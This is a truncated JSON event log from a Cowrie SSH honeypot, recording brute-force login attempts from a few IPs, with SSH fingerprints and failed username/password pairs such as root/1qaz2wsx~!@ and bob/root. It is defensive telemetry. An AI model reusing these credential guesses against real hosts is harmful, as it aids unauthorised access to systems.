{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:15:21.332181Z","src_ip":"45.156.87.253","session":"6c973e8a8e14","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"playground","password":"playground","message":"login attempt [playground/playground] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:15:21.724091Z","src_ip":"45.156.87.253","session":"6c973e8a8e14","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:15:22.808173Z","src_ip":"45.156.87.253","session":"6c973e8a8e14","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":54750,"dst_ip":"10.17.0.5","dst_port":22,"session":"b5faa69156c0","protocol":"ssh","message":"New connection: 45.156.87.253:54750 (10.17.0.5:22) [session: b5faa69156c0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:15:24.613512Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:15:24.617363Z","src_ip":"45.156.87.253","session":"b5faa69156c0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:15:24.696855Z","src_ip":"45.156.87.253","session":"b5faa69156c0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"david","password":"david","message":"login attempt [david/david] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:15:24.938428Z","src_ip":"45.156.87.253","session":"b5faa69156c0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:15:26.212847Z","src_ip":"45.156.87.253","session":"b5faa69156c0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":54758,"dst_ip":"10.17.0.5","dst_port":22,"session":"f5140d6da6fa","protocol":"ssh","message":"New connection: 45.156.87.253:54758 (10.17.0.5:22) [session: f5140d6da6fa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:15:28.006638Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:15:28.013460Z","src_ip":"45.156.87.253","session":"f5140d6da6fa","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:15:28.093569Z","src_ip":"45.156.87.253","session":"f5140d6da6fa","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"xiao","password":"xiao","message":"login attempt [xiao/xiao] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:15:28.334649Z","src_ip":"45.156.87.253","session":"f5140d6da6fa","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:15:29.416957Z","src_ip":"45.156.87.253","session":"f5140d6da6fa","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":40352,"dst_ip":"10.17.0.5","dst_port":22,"session":"bcd4c8478f39","protocol":"ssh","message":"New connection: 45.156.87.253:40352 (10.17.0.5:22) [session: bcd4c8478f39]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:15:31.436026Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:15:31.439309Z","src_ip":"45.156.87.253","session":"bcd4c8478f39","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:15:31.519512Z","src_ip":"45.156.87.253","session":"bcd4c8478f39","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"packer","password":"packer","message":"login attempt [packer/packer] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:15:31.762239Z","src_ip":"45.156.87.253","session":"bcd4c8478f39","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:15:32.844484Z","src_ip":"45.156.87.253","session":"bcd4c8478f39","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"178.20.210.208","src_port":17397,"dst_ip":"159.203.135.109","dst_port":22,"session":"b002f1283381","protocol":"ssh","message":"New connection: 178.20.210.208:17397 (159.203.135.109:22) [session: b002f1283381]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:15:33.616136Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:15:33.631020Z","src_ip":"178.20.210.208","session":"b002f1283381","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:15:33.717366Z","src_ip":"178.20.210.208","session":"b002f1283381","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1qaz2wsx~!@","message":"login attempt [root/1qaz2wsx~!@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:15:34.109531Z","src_ip":"178.20.210.208","session":"b002f1283381","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":40368,"dst_ip":"10.17.0.5","dst_port":22,"session":"90653ba1ff0f","protocol":"ssh","message":"New connection: 45.156.87.253:40368 (10.17.0.5:22) [session: 90653ba1ff0f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:15:34.759953Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:15:34.763701Z","src_ip":"45.156.87.253","session":"90653ba1ff0f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:15:34.843723Z","src_ip":"45.156.87.253","session":"90653ba1ff0f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"bob","password":"root","message":"login attempt [bob/root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:15:35.084629Z","src_ip":"45.156.87.253","session":"90653ba1ff0f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:15:35.215070Z","src_ip":"178.20.210.208","session":"b002f1283381","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:15:36.197857Z","src_ip":"45.156.87.253","session":"90653ba1ff0f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":40384,"dst_ip":"10.17.0.5","dst_port":22,"session":"32577a6c0e8e","protocol":"ssh","message":"New connection: 45.156.87.253:40384 (10.17.0.5:22) [session: 32577a6c0e8e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:15:38.157647Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:15:38.161336Z","src_ip":"45.156.87.253","session":"32577a6c0e8e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:15:38.241990Z","src_ip":"45.156.87.253","session":"32577a6c0e8e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"lighthouse","password":"lighthouse","message":"login attempt [lighthouse/lighthouse] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:15:38.484497Z","src_ip":"45.156.87.253","session":"32577a6c0e8e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:15:39.568131Z","src_ip":"45.156.87.253","session":"32577a6c0e8e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":37884,"dst_ip":"10.17.0.5","dst_port":22,"session":"2a2a475599f7","protocol":"ssh","message":"New connection: 45.156.87.253:37884 (10.17.0.5:22) [session: 2a2a475599f7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:15:41.680413Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:15:41.683820Z","src_ip":"45.156.87.253","session":"2a2a475599f7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:15:41.765028Z","src_ip":"45.156.87.253","session":"2a2a475599f7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"teste","password":"teste","message":"login attempt [teste/teste] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:15:42.008905Z","src_ip":"45.156.87.253","session":"2a2a475599f7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:15:43.092532Z","src_ip":"45.156.87.253","session":"2a2a475599f7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":37892,"dst_ip":"10.17.0.5","dst_port":22,"session":"67201942e565","protocol":"ssh","message":"New connection: 45.156.87.253:37892 (10.17.0.5:22) [session: 67201942e565]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:15:45.081057Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:15:45.084391Z","src_ip":"45.156.87.253","session":"67201942e565","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-